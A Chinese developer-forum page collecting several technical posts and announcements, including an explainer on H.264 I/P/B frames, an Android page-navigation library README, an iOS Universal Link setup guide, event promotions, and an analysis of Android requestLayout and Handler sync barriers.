注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

iOS 音视频编解码----H264-I(关键)帧,B/P(参考)帧

回顾一下视频里面到底是什么内容元素1.图像(image)2.音频(Audio)3.元素信息(Meta-data)编码格式1.Video:H2642.Audio:AAC(后面文章讲)3.容器封装:MP4/MOV/FLV/RM/RMVB/AVIH264当我们需要对...
继续阅读 »

回顾一下视频里面到底是什么



  • 内容元素

    1.图像(image)
    2.音频(Audio)
    3.元素信息(Meta-data)

  • 编码格式

    1.Video:H264
    2.Audio:AAC(后面文章讲)
    3.容器封装:MP4/MOV/FLV/RM/RMVB/AVI

  • H264

    当我们需要对发送的视频文件进行编码时,只要是H264文件,AVFoundation都提供视频编解码器支持,这个标准被广泛应用于消费者视频摄像头捕捉到的资源并成为网页流媒体视频最主要的格式。H264规范是MPEG4定义的一部分,H264遵循早期的MPEG-1/MPEG-2标准,但是在以更低比特率得到 更高图片质量方面有了进步。

  • 编码的本质



  • 为什么要编码?

    举个例子: (具体大小我没数过,只做讲解参考)
    你的老公,Helen,将于明天晚上6点零5份在重庆的江北机场接你
    ----------------------23 * 2 + 10 = 56个字符--------------------------
    你的老公将于明天晚上6点零5分在江北机场接你
    ----------------------20 * 2 + 2 = 42个字符----------------------------
    Helen将于明天晚上6点在机场接你
    ----------------------10 * 2 + 2 = 26个字符----------------------------

    相信大家看了这个例子之后,心里应该大概明白编码的本质:只要不接收方不会产生误解,就可以产生数据的承载量,编码视频的本质也是如此,编码的本质就是减少数据的冗余

    • 在引入I(关键)帧,B/P(参考)帧之前,我们先来了解一下人眼和视频摄像头的对帧的识别

      我们人眼看实物的时候,一般的一秒钟只要是连续的16帧以上,我们就会认为事物是动的,对于摄像头来说,一秒钟所采集的图片远远高于了16帧,可以达到几十帧,对于一些高质量的摄像头,一秒钟可以达到60帧,对于一般的事物来说,你一秒钟能改变多少个做动作?所以,当摄像头在一秒钟内采集视频的时候,前后两帧的图片数据里有大量的相同数据,对于这些数据我们该怎么处理了?当然前后两帧也有不同的数据,对于这些相同或者不同的数据的处理过程,就是编码





    I帧(I-frames,也叫关键帧)

    • 我们知道在视频的传输过程中,它是分片段传输的,这个片段的第一帧,也就是第一张图片,就是I帧,也就是传说中的关键帧
    • I帧:也就是关键帧,帧内压缩(也就是压缩独立视频帧,被称为帧内压缩),帧内压缩通过消除包含在每个独立视频帧内的色彩以及结构中的冗余信息来进行压缩,因此可在不降低图片适量的情况下尽可能的缩小尺寸,这类似于JEPG压缩的原理,帧内压缩也可以称为有损压缩算法,但通常用于对原因图片的一部分进行处理,以生成极高质量的照片,通过这一过程的创建的帧称为I-frames;将第一帧完整的保存下来.如果没有这个关键帧后面解码数据,是完成不了的.所以I帧特别关键.

    P帧(P-frames,又称为预测帧)

    • P帧:向前参考帧(在I帧(关键帧)后,P帧参考关键帧,保存下一帧和前一帧的不同数据).压缩时只参考前一个帧.属于帧间压缩技术.
    • 帧间压缩技术:很多帧被组合在一起作为一组图片(简称GOP),对于GOP所存在的时间维度的冗余可以被消除,如果想象视频文件中的典型场景,就会有一些特定的运动元素的概念,比如行驶中的汽车或者街道上行走的路人,场景的背景环信通道是固定的,或者在一定的时间内,有些元素的改变很小或者不变,这些数据就称为时间上的冗余,这些数据就可以通过帧间压缩的方式进行消除,也就是帧间压缩,视频的第一帧会被作为关键帧完整保存下来.而后面的帧会向前依赖.也就是第二帧依赖于第一个帧.后面所有的帧只存储于前一帧的差异.这样就能将数据大大的减少.从而达到一个高压缩率的效果.这就是P帧,保存前后两帧不通的数据

    B帧(B-frames,又称为双向帧)

    • B帧,又叫双向帧,它是基于使用前后两帧进行编码后得到的帧,几乎不需要存储空间,但是解压过程会消耗较长的时间,因为它依赖周围其他的帧
    • B帧的特点:B帧使得视频的压缩率更高.存储的数据量更小.如果B帧的数量越多,你的压缩率就越高.这是B帧的优点,但是B帧最大的缺点是,如果是实时互动的直播,那时与B帧就要参考后面的帧才能解码,那在网络中就要等待后面的帧传输过来.这就与网络有关了.如果网络状态很好的话,解码会比较快,如果网络不好时解码会稍微慢一些.丢包时还需要重传.对实时互动的直播,一般不会使用B帧.如果在泛娱乐的直播中,可以接受一定度的延时,需要比较高的压缩比就可以使用B帧.如果我们在实时互动的直播,我们需要提高时效性,这时就不能使用B帧了.

    GOP一组帧的理解

    • 如果在一秒钟内,有30帧.这30帧可以画成一组.如果摄像机或者镜头它一分钟之内它都没有发生大的变化.那也可以把这一分钟内所有的帧画做一组.

    • 什么叫一组帧?
      就是一个I帧到下一个I帧.这一组的数据.包括B帧/P帧.我们称为GOP




    • 视频花屏/卡顿原因

      • 我们平常在观看视频的时候,出现视频的花屏或者卡顿,第一反应就是我们的网络出现了问题,其实我们的网络没有问题,是我们在解码的时候I帧,B/P帧出现了丢失
      • 如果GOP分组中的P帧丢失就会造成解码端的图像发生错误.
      • 为了避免花屏问题的发生,一般如果发现P帧或者I帧丢失.就不显示本GOP内的所有帧.只到下一个I帧来后重新刷新图像.
      • 当这时因为没有刷新屏幕.丢包的这一组帧全部扔掉了.图像就会卡在哪里不动.这就是卡顿的原因.

    所以总结起来,花屏是因为你丢了P帧或者I帧.导致解码错误. 而卡顿是因为为了怕花屏,将整组错误的GOP数据扔掉了.直达下一组正确的GOP再重新刷屏.而这中间的时间差,就是我们所感受的卡顿.



    作者:枫紫_6174
    链接:https://www.jianshu.com/p/94d2a8bbc3ac


    收起阅读 »

    Android 快速跳转库

    事情起源activity 或者 fragment 每次跳转传值的时候,你是不是都很厌烦那种,参数传递。 那么如果数据极其多的情况下,你的代码将苦不堪言,即使在很好的设计下,也会很蛋疼。那么今天我给大家推荐一个工具 和咱原生跳转进行比较比较:1.跳转方式比较ba...
    继续阅读 »

    事情起源

    activity 或者 fragment 每次跳转传值的时候,你是不是都很厌烦那种,参数传递。 那么如果数据极其多的情况下,你的代码将苦不堪言,即使在很好的设计下,也会很蛋疼。那么今天我给大家推荐一个工具 和咱原生跳转进行比较

    比较:

    1.跳转方式比较

    bash Intenti=new Intent(this,MainActivity.class); 
    startActivity(i);

    vs

    ApMainActivity.newInstance().start(this)
    //发送 Intenti=new Intent(this,MainActivity.class);
    Bundle bundle = new Bundle();
    bundle.putInt("message", "123");
    i.putExtra("Bundle", bundle);
    startActivity(i);
    //接收
    String s=bundle.getString("message","");

    vs

    //发送 
    ApMainActivity.newInstance().apply { message = "123" } .start(this)
    //接收
    AutoJ.inject(this);

    实体发送 

    //发送 
    ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21) } .start(this)
    //接收
    AutoJ.inject(this);

    目前 版本号 v1.0.7 更新内容:(专门为kotlin设计的快速跳转工具,如果你的项目只支持java语言请不要用该版本,建议用v1.0.2 地址 Version number v1.0.2) 

    1. 代码采用kotlin 语法糖 
    2. 支持默认值功能 
    3. 不再支持Serializable数据传输,改为性能更好的 Parcelable 大对象传输 
    4. 支持多进程activity 跳转 
    5. 降低内存占用,可回收内存提升
    AutoPage
    github地址 https://github.com/smartbackme/AutoPage 
    如果觉得不错 github 给个星 Android 容易的跳转工具
    注意事项:
    必须有如下两个要求
    androidx
    kotlin & java
    支持传输类型
    bundle 支持的基本类型都支持(除ShortArray) 以下类型都支持,如果类型不是如下类型,可能会报kapt错误

    :Parcelable
    String
    Long
    Int
    Boolean
    Char
    Byte
    Float
    Double
    Short
    CharSequence
    CharArray
    IntArray
    LongArray
    BooleanArray
    DoubleArray
    FloatArray
    ByteArray
    ArrayList
    ArrayList<:Parcelable>
    Array<:Parcelable>
    ###使用

    project : build.gradle 项目的gradle配置

       buildscript { repositories { maven { url 'https://www.jitpack.io' } } 

    在你的每个需要做容易跳转的模块添加如下配置 

    3. 你的项目必须要支持 kapt 

    4. kotlin kapt 

    5. 你的项目必须支持 @Parcelize 注解 也就是必须添加 

    apply plugin: 'kotlin-android-extensions'

    apply plugin: 'kotlin-android-extensions'
    apply plugin: 'kotlin-kapt'
    android { androidExtensions { experimental = true } }


    kapt com.github.smartbackme.AutoPage:autopage-processor:1.0.7
    implementation com.github.smartbackme.AutoPage:autopage:1.0.7

    重点

    1. @AutoPage 只能在字段或者类上标注
    1. Ap 作为前缀,为你快速跳转

    kotlin: 

    1. 字段必须标注 @JvmField 和 @AutoPage 

    2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)

    java: 

    1. 字段必须标注 @AutoPage 

    2. onCreate 中 在你的需要跳转的页面加入 AutoJ.inject(this)

    ### Activity 中使用

    例1

    简单的跳转

    @AutoPage 
    class SimpleJump1Activity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.activity_simple_jump1)
    }
    }

    之后调用

    ApSimpleJump1Activity.newInstance().start(this)

    例2

    简单的跳转并且带参数

    class MainActivity2 : AppCompatActivity() {


    @AutoPage
    @JvmField
    var message:String? = null

    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.activity_main2)
    AutoJ.inject(this)
    findViewById(R.id.text).text = message
    }


     之后调用

    ApMainActivity2.newInstance().apply { message = "123" } .start(this)

    例3:

    跳转带有result

    @AutoPage class SimpleJumpResultActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) {     super.onCreate(savedInstanceState)     setContentView(R.layout.activitysimplejump_result) }override fun onBackPressed() {
    var intent = Intent()
    intent.putExtra("message","123")
    setResult(RESULT_OK,intent)
    super.onBackPressed()
    }


    之后调用

    ApSimpleJumpResultActivity.newInstance().apply { requestCode = 1 }.start(this)


    例4:

    实体传输

    实体 


    @Parcelize

    data class MyData(var message:String,var hehehe: Boolean,var temp :Int):Parcelable


    class AllDataActivity : AppCompatActivity() {


    @AutoPage
    @JvmField
    var myData:MyData? = null
    @AutoPage
    @JvmField
    var message:String? = "this is default value"
    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)

    setContentView(R.layout.activity_all_data)
    AutoJ.inject(this)


    Toast.makeText(this,myData?.toString()+message,Toast.LENGTH_LONG).show()
    }


    之后调用

    ApAllDataActivity.newInstance().apply { message = "123" myData = MyData("hfafas",true,21)


    例5:

    默认值

    class DefaultValueActivity : AppCompatActivity() {


    @AutoPage
    @JvmField
    var message:String? = "this is default value"

    override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    setContentView(R.layout.activity_default_value)
    AutoJ.inject(this)

        // var args = intent.getParcelableExtra("123")

        findViewById(R.id.button6).text = message

    }

    }


    之后调用

    ApDefaultValueActivity.newInstance().apply { } .start(this)


    # 在 fragment 中使用

    class FragmentSimpleFragment : Fragment() {


    @AutoPage
    @JvmField
    var message:String? = null

    companion object {
    fun newInstance() = FragmentSimpleFragment()
    }

    private lateinit var viewModel: SimpleViewModel

    override fun onCreateView(
    inflater:
    LayoutInflater, container: ViewGroup?,
    savedInstanceState:
    Bundle?
    )
    : View {
    return inflater.inflate(R.layout.simple_fragment, container, false)
    }

    override fun onActivityCreated(savedInstanceState: Bundle?) {
    super.onActivityCreated(savedInstanceState)
    AutoJ.inject(this)
    viewModel = ViewModelProvider(this).get(SimpleViewModel::class.java)
    view?.findViewById(R.id.message)?.text = message

    }

    }


    之后调用

    ApFragmentSimpleFragment.newInstance().apply { message = "123" }.build()

    下载地址:AutoPage-master.zip

    收起阅读 »

    线上直播 | 开门5件事:一个CTO的随想

    4月23日晚20:00邀您一起收看线上直播【科创人· 案例研习社】听环信CTO赵贵斌为您讲述【开门5件事:一个CTO的随想】

    423日晚20:00


    邀您一起收看线上直播科创人· 案例研习社


    听环信CTO赵贵斌为您讲述开门5件事:一个CTO的随想



    线上直播 | 海外应用市场生存法则详解

    当今国内移动应用市场竞争日趋激烈,对于更广大的移动应用及开发者群体来说,如何开辟新的商业价值航路,成了当务之急,因此“出海”成了业界寻找出路的普遍战略选择。除了少数垂直领域的头部产品之外,更多的开发者和应用都表现出了“水土不服”的症候:产品本地化不理想,政策合...
    继续阅读 »

    当今国内移动应用市场竞争日趋激烈,对于更广大的移动应用及开发者群体来说,如何开辟新的商业价值航路,成了当务之急,因此“出海”成了业界寻找出路的普遍战略选择。

    除了少数垂直领域的头部产品之外,更多的开发者和应用都表现出了“水土不服”的症候:产品本地化不理想,政策合规难捉摸,缺少资源两眼一抹黑……这些都是老生常谈的出海难题了。


    当众多移动应用产品开始将出海作为“紧急避险”,那么这些问题就从“槽点”变成了必须尽快破解的燃眉之急。


    蝉学院大咖分享会本期课程

    蝉大师将联合环信的大咖

    一起来聊聊看国内移动应用该怎么做~

    WechatIMG6.jpegWechatIMG11.jpeg

    ____    『蝉学院2021』   ____


        2020年,蝉大师已面向全球移动应用开发者、中高端运营推广人员推出涵盖线上及线下的一系列公开课程。

        为千万用户提供了业内最新热点、用户运营、流量变现、产品推广等实战经验;并帮助相关人员了解当前互联网行业的趋势及增量技巧。

        

        2021年,蝉学院·大咖分享会系列将邀请众多行业一线大咖,快速捕捉热点、深度剖析观点,为大家提供一个交流分享、观点碰撞的全新平台。

        我们已整装待发,期待您与我们并肩同行!


    ____    『活动合集』   ____


    图片集锦.jpg


    ____    『主办方』   ____

    1蝉大师LOGOJPG图片.png

          蝉大师是App大数据分析与应用全球推广优化专家。作为Apple官方数据提供商,平台每日跟踪全球数百万款App以及各大海外信息平台实时动态,每日获取数据超过15T,为全球的上千万移动互联网应用从业者和推广者提供基础数据分析和支持。是国内首家提供全球155个国家与地区的榜单、关键词、热搜以及苹果搜索广告数据的公司,并在全国首家实现苹果ASM竞价搜索广告60个国家地区的数据查询。官网:chandashi.com



    568x186.jpg


          环信是国内领行的企业级软件服务提供商,荣膺“Gartner 2016 Cool Vendor”。旗下主要产品线包括即时通讯能力PaaS平台——环信即时通讯云,全场景音视频PaaS平台——环信实时音视频云,全媒体智能客服SaaS平台——环信客服云,以及企业级人工智能服务能力平台——环信机器人,是国内较早覆盖云通讯、云客服、智能机器人的一体化产品技术储备企服公司。

    收起阅读 »

    【14万现金奖不玩虚的】声网联合环信第三届RTE 2021创新编程挑战赛报名啦!

    第三届 RTE 2021 创新编程挑战赛开始报名啦! RTE(Real Time Engagement)2021 创新编程挑战赛,是由声网Agora 主办,面向全球开发者、编程爱好者与极客的一场在线黑客马拉松。参赛者可以基于声网Agora 产品实现社交泛娱乐、...
    继续阅读 »

    第三届 RTE 2021 创新编程挑战赛开始报名啦!

    RTE(Real Time Engagement)2021 创新编程挑战赛,是由声网Agora 主办,面向全球开发者、编程爱好者与极客的一场在线黑客马拉松。参赛者可以基于声网Agora 产品实现社交泛娱乐、在线教学、互动游戏、互动直播、IoT 等任何实时互动场景应用,竞争最终大奖。

    本届大赛将继续以“线上编程+线上提交+线上决赛的方式进行。不论你是高校学生、创业者、极客企业,还是个人开发者,只要你爱 Coding,都可以在这里挥洒创意,尽情创造。


    扫码加入交流群

    大赛日程安排

    官网报名——4月15日 - 5月28日

    组队开发——4月15日 - 5月28日

    作品提交——5月28日 - 6月2日

    线上决赛——6月12日


    今年的大赛有两个赛道,「应用创新挑战赛道」和「技术创新挑战赛道」,都是面向应用编程爱好者及团队的。

    赛道一:应用创新

    赛道一面向所有的应用开发者。作为大赛的传统赛道,开发者可以自由发挥想象,开发具备实时互动能力的应用。开发者可以使用包括视频/音频
    SDK、云信令 SDK、互动白板 SDK、录制 SDK、实时码流加速 SDK、云录制 SDK、环信 IM SDK
    等产品,实现创意应用,不限平台及开发语言。
    同时,今年我们还联合相芯科技、360 等合作伙伴,开放出他们的 AI 能力,开发者可以根据自己的需求进行结合,在应用中实现美颜、背景抠图等功能,给了赛道一更多的创新可能性。
    赛道一奖项设置


    一等奖:50000 元 x 1 支队伍
    二等奖:30000 元 x 1 支队伍
    三等奖:10000 元 x 1 支队伍
    环信专项奖:20000元 x 1 支队伍(详见官网说明)
    优秀奖 2000 若干
    所有获奖团队可加入声网Agora 招聘绿色通道
    所有获奖团队一年内享受声网创业支持计划的福利

    赛道一评奖规则


    评委会根据“完成度”、“创意度”、“潜在商业价值”等多个维度进行考量。点我了解详细作品要求和评奖规则。


    赛道二:技术创新

    赛道二仅面向 C++语言开发者。我们在声网音视频 SDK 的基础上,封装了两个插件接口。参赛团队可以将自己的产品或开源项目封装为插件,通过对接插件接口,让插件功能融入基于 Agora SDK 开发的各种实时互动场景中。同时利用该插件开发可运行演示的 Demo。
    目前已经有多个合作伙伴通过云市场插件接口,成功将视频美颜、滤镜、变声等音视频扩展能力融入了各类实时互动场景中。我们希望通过将该插件接口开放给社区,来激发开发者的更多创造力,拓展 RTC 技术能力边界。
    赛道二奖项设置


    技术创新专项奖:20000 元*1 支队伍
    优秀奖 2000 若干
    所有获奖团队可加入声网Agora 招聘绿色通道
    所有获奖团队一年内享受声网创业支持计划的福利

    赛道二评奖规则


    本赛题提交的作品插件及功能演示Demo需能够正常运行,方可入围参与后续的评审。评委会根据“代码完整度”、“文档完整度”、“稳定性”、“创意度”等多个维度进行考量评分。点此了解详细作品要求和评奖规则。

    大赛评委

    本届大赛邀请了来自多个技术社区、团队的技术负责人和资深工程师作为评委。他们将在最后评选阶段在线上根据作品的完成度、稳定性、创意性等维度进行打分。本届的评委包括:

    开赛线上培训

    不清楚有哪些 SDK 可以使用?还不知道能用 SDK 做什么场景?作品完成后,怎么让它成为热门开源项目?

    为了解答大家的这些疑问,我们还将在 4 月 27 日、28 日组织两场线上直播,分别邀请声网、环信的产品负责人、历届编程大赛冠军分享他们的经验。

    立即报名 


    收起阅读 »

    iOS Universal Link(点击链接跳转到APP)

    Universe Link跳转流程步骤1.登录苹果开发者中心  选择对应的appid ☑️勾选 Associated Domains  此处标记的Team ID 和 bundle ID  后面文件会用到2. 用text  ...
    继续阅读 »

    Universe Link跳转流程


    步骤

    1.登录苹果开发者中心  选择对应的appid ☑️勾选 Associated Domains  此处标记的Team ID 和 bundle ID  后面文件会用到


    2. 用text   创建  apple-app-site-association  文件     去掉后缀!!!!!


    3.打开xcode 工程 配置下图文件


    4.在appdelegate 里面 回调接收url  获取链接里面的参数


    5.最重要的一步来了!!!!!

    用txt 把创建好的  apple-app-site-association  给后台 开发人员  将此文件 放到服务器的根目录下面 例如 https://www.baidu.com/apple-app-site-association

    重点!!!!!!!!  必须用https  

    收起阅读 »

    requestLayout竟然涉及到这么多知识点

    1. 背景 最近有个粉丝跟我提了一个很有深度的问题。 粉丝:锁屏后,调用View.requestLayout()方法后会不会postSyncBarrier? 乍一看有点超纲了。细细一想,我把这个问题拆分成了两个问题,本文我将紧紧围绕这两个问题,讲解requ...
    继续阅读 »

    1. 背景


    最近有个粉丝跟我提了一个很有深度的问题。



    粉丝:锁屏后,调用View.requestLayout()方法后会不会postSyncBarrier?



    乍一看有点超纲了。细细一想,我把这个问题拆分成了两个问题,本文我将紧紧围绕这两个问题,讲解requestLayout背后的故事。



    其一:锁屏后,调用View.requestLayout(),会往上层层调用requestLayout()吗?


    其二:锁屏后,调用View.requestLayout(),会触发View的测量和布局操作吗?



    postSyncBarrier我知道,Handler的同步屏障机制嘛,但是锁屏之后为什么还要调用requestLayout()呢?于是我脑补了一个场景。



    假设在Activity onResume()中每隔一秒调用View.requestLayout(),但是在onStop()方法中没有停止调用该方法。当用户锁屏或者按Home键时。



    我脑补的这个场景,用罗翔老师的话来讲是 “法律允许,但是不提倡”。当Activity不在前台的时候,就应该把requestLayout()方法停掉嘛,我们知道的,这个方法会从调用的View一层一层往上调用直到ViewRootImpl.requestLayout()方法,然后会从上往下触发View的测量和布局甚至绘制方法。非常之浪费嘛!错误非常之低级!但是果真如此吗?


    电竞主播芜湖大司马,有一句网络流行语你以为我在第一层,其实我在第十层。下面我将用层级来表示对requestLayout方法的了解程度,层级越高,表示了解越深刻。


    了解我的粉丝都知道,我喜欢用树形图来分析Android View源码。上图:


    2. 第一层(往上,层层遍历)


    假设调用I.requestLayout(),会触发哪些View的requestLayout方法?


    答:会依次触发I.requestLayout() -> C.requestLayout() -> A.requestLayout() -> ...省略一些View -> ViewRootImpl.requestLayout()


    //View.java
    public void requestLayout() {
    // 1. 清除测量记录
    if (mMeasureCache != null) mMeasureCache.clear();

    // 2. 增加PFLAG_FORCE_LAYOUT给mPrivateFlags
    mPrivateFlags |= PFLAG_FORCE_LAYOUT;
    mPrivateFlags |= PFLAG_INVALIDATED;

    // 3. 如果mParent没有调用过requestLayout,则调用之。换句话说,如果调用过,则不会继续调用
    if (mParent != null && !mParent.isLayoutRequested()) {
    mParent.requestLayout();
    }
    }
    复制代码

    该方法作用如下:



    1. 清除测量记录

    2. 增加PFLAG_FORCE_LAYOUT给mPrivateFlags

    3. 如果mParent没有调用过requestLayout,则调用之。换句话说,如果调用过,则不会继续调用


    重点看下mParent.isLayoutRequested()方法,它在View.java中有具体实现


    //View.java
    public boolean isLayoutRequested() {
    return (mPrivateFlags & PFLAG_FORCE_LAYOUT) == PFLAG_FORCE_LAYOUT;
    }
    复制代码

    如果mPrivateFlags增加PFLAG_FORCE_LAYOUT标志位,则认为View已经请求过布局。由前文可知,在requestLayout的第二步会增加该标志位。熟悉位操作的朋友就会知道,有增加操作就会有对应的清除操作。 经过一番搜索,找到:


    //View.java
    public void layout(int l, int t, int r, int b) {
    // ... 省略代码
    //在View调用完layout方法,会将PFLAG_FORCE_LAYOUT标志位清除掉
    mPrivateFlags &= ~PFLAG_FORCE_LAYOUT;
    mPrivateFlags3 |= PFLAG3_IS_LAID_OUT;
    // ... 省略代码
    }
    复制代码

    在View调用完layout方法,会将PFLAG_FORCE_LAYOUT标志位清除掉。当View下次再调用requestLayout方法时,依旧能往上层层调用。但是如果当layout()方法没有执行时,下次再调用requestLayout方法时,就不会往上层层调用了。


    所以先回答文章开始的第一个问题:



    其一:锁屏后,调用View.requestLayout(),会往上层层调用requestLayout()吗?


    答:锁屏后,除了第一次调用会往上层层调用,其它的都不会




    为什么,只有第一次调用会呢?那必定是因为layout方法没有得到执行,导致PFLAG_FORCE_LAYOUT无法被清除。欲知后事,接着往下看呗



    如果你知道requestLayout调用是一个层级调用,那么恭喜你,你已经处于认知的第一层了。送你一张二层入场券。

    3. 第二层(ViewRootImpl.requestLayout)


    我们来看看第一层讲到的ViewRootImpl.requestLayout()


    //ViewRootImpl.java
    @Override
    public void requestLayout() {
    if (!mHandlingLayoutInLayoutRequest) {
    checkThread();
    mLayoutRequested = true;
    scheduleTraversals();
    }
    }

    void scheduleTraversals() {
    if (!mTraversalScheduled) {
    mTraversalScheduled = true;
    //1. 往主线程的Handler对应的MessageQueue发送一个同步屏障消息
    mTraversalBarrier = mHandler.getLooper().getQueue().postSyncBarrier();
    //2. 将mTraversalRunnable保存到Choreographer中
    mChoreographer.postCallback(
    Choreographer.CALLBACK_TRAVERSAL, mTraversalRunnable, null);
    if (!mUnbufferedInputDispatch) {
    scheduleConsumeBatchedInput();
    }
    notifyRendererOfFramePending();
    pokeDrawLockIfNeeded();
    }
    }
    复制代码

    该方法主要作用如下:



    1. 往主线程的Handler对应的MessageQueue发送一个同步屏障消息

    2. 将mTraversalRunnable保存到Choreographer中


    此处有三个特别重要的知识点:



    1. mTraversalRunnable

    2. MessageQueue的同步屏障

    3. Choreographer机制


    mTraversalRunnable相对比较简单,它的作用就是从ViewRootImpl 从上往下执行performMeasure、performLayout、performDraw。[重点:敲黑板]它的执行时机是当Vsync信号来到时,会往主线程的Handler对应的MessageQueue中发送一条异步消息,由于在scheduleTraversals()中给MessageQueue中发送过一条同步屏障消息,那么当执行到同步屏障消息时,会将异步消息取出执行


    4. 第三层(TraversalRunnable)


    当vsync信号量到达时,Choreographer会发送一个异步消息。当异步消息执行时,会调用ViewRootImpl.mTraversalRunnable回调。


    final class TraversalRunnable implements Runnable {
    @Override
    public void run() {
    doTraversal();
    }
    }
    复制代码

    void doTraversal() {
    if (mTraversalScheduled) {
    mTraversalScheduled = false;
    mHandler.getLooper().getQueue().removeSyncBarrier(mTraversalBarrier);

    if (mProfile) {
    Debug.startMethodTracing("ViewAncestor");
    }

    performTraversals();

    if (mProfile) {
    Debug.stopMethodTracing();
    mProfile = false;
    }
    }
    }
    复制代码

    它的作用:



    1. 移除同步屏障

    2. 执行performTraversals方法


    performTraversals()方法特别复杂,给出伪代码如下


    private void performTraversals() {
    if (!mStopped || mReportNextDraw) {
    performMeasure()
    }

    final boolean didLayout = layoutRequested && (!mStopped || mReportNextDraw);
    if (didLayout) {
    performLayout(lp, mWidth, mHeight);
    }

    boolean cancelDraw = mAttachInfo.mTreeObserver.dispatchOnPreDraw() || !isViewVisible;

    if (!cancelDraw && !newSurface) {
    performDraw();
    }
    }
    复制代码

    该方法的作用:



    1. 满足条件的情况下调用performMeasure()

    2. 满足条件的情况下调用performLayout()

    3. 满足条件的情况下调用performDraw()


    mStopped表示Activity是否处于stopped状态。如果Activity调用了onStop方法,performLayout方法是不会调用的。


    //ViewRootImpl.java
    private void performLayout(WindowManager.LayoutParams lp, int desiredWindowWidth,
    int desiredWindowHeight) {
    // ... 省略代码
    host.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());
    // ... 省略代码
    }
    复制代码

    回答文章开始的第二个问题:



    其二:锁屏后,调用View.requestLayout(),会触发View的测量和布局操作吗?


    答:不会,因为当前Activity处于stopped状态了



    至此第一层里面留下的小悬念也得以解开,因为不会执行View.layout()方法,所以PFLAG_FORCE_LAYOUT不会被清除,导致接下来的requestLayout方法不会层层往上调用。


    至此本文的两个问题都已经得到了答案。


    当我把问题提交给鸿洋大佬的wanandroid上时,大佬又给我提了一个问题。



    鸿洋大佬:既然Activity的onStop会导致requestLayout layout方法得不到执行,那么onResume方法会不会让上一次的requestLayout没有执行的layout方法执行一次呢?



    于是我写了个demo来验证


    //MyDemoActivity.kt
    override fun onStop() {
    super.onStop()
    root.postDelayed(object : Runnable {
    override fun run() {
    root.requestLayout()
    println("ChoreographerActivity reqeustLayout")
    }
    }, 1000)
    }
    复制代码

    在自定义布局的onLayout方法中打印日志


    @Override
    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
    System.out.println("ChoreographerActivity onLayout");
    super.onLayout(changed, left, top, right, bottom);
    }
    复制代码

    锁屏,1s后调用requestLayout,日志没有打印,1s后亮屏,发现日志打印了。


    所以



    鸿洋大佬:既然Activity的onStop会导致requestLayout layout方法得不到执行,那么onResume方法会不会让上一次的requestLayout没有执行的layout方法执行一次呢?


    我:经过demo验证会。原因且听我道来



    有了demo找原因就很简单了。正面不好攻破,那就祭出调试大法呗。但是断点放在哪好呢?思考了一番。我觉得断点放在发送同步屏障的地方比较好,ViewRootImpl.scheduleTraversals()。为什么断点放这里?(那你就得了解同步屏障和vsync刷新机制了,后文会讲) 


    亮屏后,发现断点执行了。从堆栈中可以看出Activity的performRestart()方法执行了ViewRootImpl的scheduleTraversals方法。

    虽然,亮屏的时候没有执行View.requestLayout方法,由于锁屏后1s执行了View.requestLayout方法,所以PFLAG_FORCE_LAYOUT标记位还是有的。亮屏调用了performTraversals方法时,会执行Measure、Layout、Draw等操作。


    至此,完美回答了粉丝和鸿洋大佬的问题

    5. 第四层(Handler同步屏障)


    Handler原理,也是面试必问的问题。涉及到很多知识点。线程、Looper、MessageQueue、ThreadLocal、链表、底层等技术。本文我就不展开讲了。如果对Handler不是很了解。也不影响本层次的学习。但是还是强烈建议看完本文后再另行补课。



    A同学:同步屏障。感觉好高大上的样子?能给我讲讲吗?


    我:乍一看,是挺高大上的。让人望而生畏。但是细细一想,也不是那么难,说白了就是将Message分成三种不同类型


    A同学:此话怎讲,愿闻其详~


    我:如下代码应该看得懂吧?


    class Message{
    int mType;
    //同步屏障消息
    public static final int SYNC_BARRIER = 0;
    //普通消息
    public static final int NORMAL = 1;
    //异步消息
    public static final int ASYNCHRONOUS = 2;
    }
    复制代码

    A同学:这很简单呀,平时开发中经常用不同的值表示不同的类型,但是android中的Message类并没有这几个不同的值呀?


    我:Android Message 类确实没有用不同的值来表示不同类型的Message。它是通过target和isAsynchronous()组合出三种不同类型的Message。
































    消息类型targetisAsynchronous()
    同步屏障消息null无所谓
    异步消息不为null返回true
    普通消息不为null返回false
    A同学:理解了,那么它们有什么区别呢?

    我:世界上本来只有普通消息,但是因为事情有轻重缓急,所以诞生了同步屏障消息和异步消息。它们两是配套使用的。当消息队列中同时存在这三种消息时,如果碰到了同步屏障消息,那么会优先执行异步消息。


    A同学:有点晕~


    我:别急,且看如下图解






    1. 绿色表示普通消息,很守规矩,按照入队顺序依次出队。

    2. 红色表示异步消息,意味着它比较着急,有优先执行的权利。

    3. 黄色表示同步屏障消息,它的作用就是警示,后续只会让异步消息出队,如果没有异步消息,则会一直等待。


     如上图,消息队列中全是普通消息。那么它们会按照顺序,从队首依次出队列。msg1->msg2->msg3


     如上图,三种类型消息全部存在,msg1是同步屏障消息。同步屏障消息并不会真正执行,它也不会主动出队列,需要调用MessageQueue的removeSyncBarrier()方法。它的作用就是"警示",后续优先让红色的消息出队列。



    1. msg3出队列


     2. msg5出队列 



    1. 此刻msg2并不会出队列,队列中已经没有了红色消息,但是存在黄色消息,所以会一直等红色消息,绿色消息得不到执行机会


    1. 调用removeSyncBarrier()方法,将msg1出队列


    1. 绿色消息按顺序出队



    postSyncBarrier()和removeSyncBarrier()必须成对出现,否则会导致消息队列出现假死情况。



    同步屏障就介绍到这,如果没明白的话,建议网上搜索其它资料阅读。


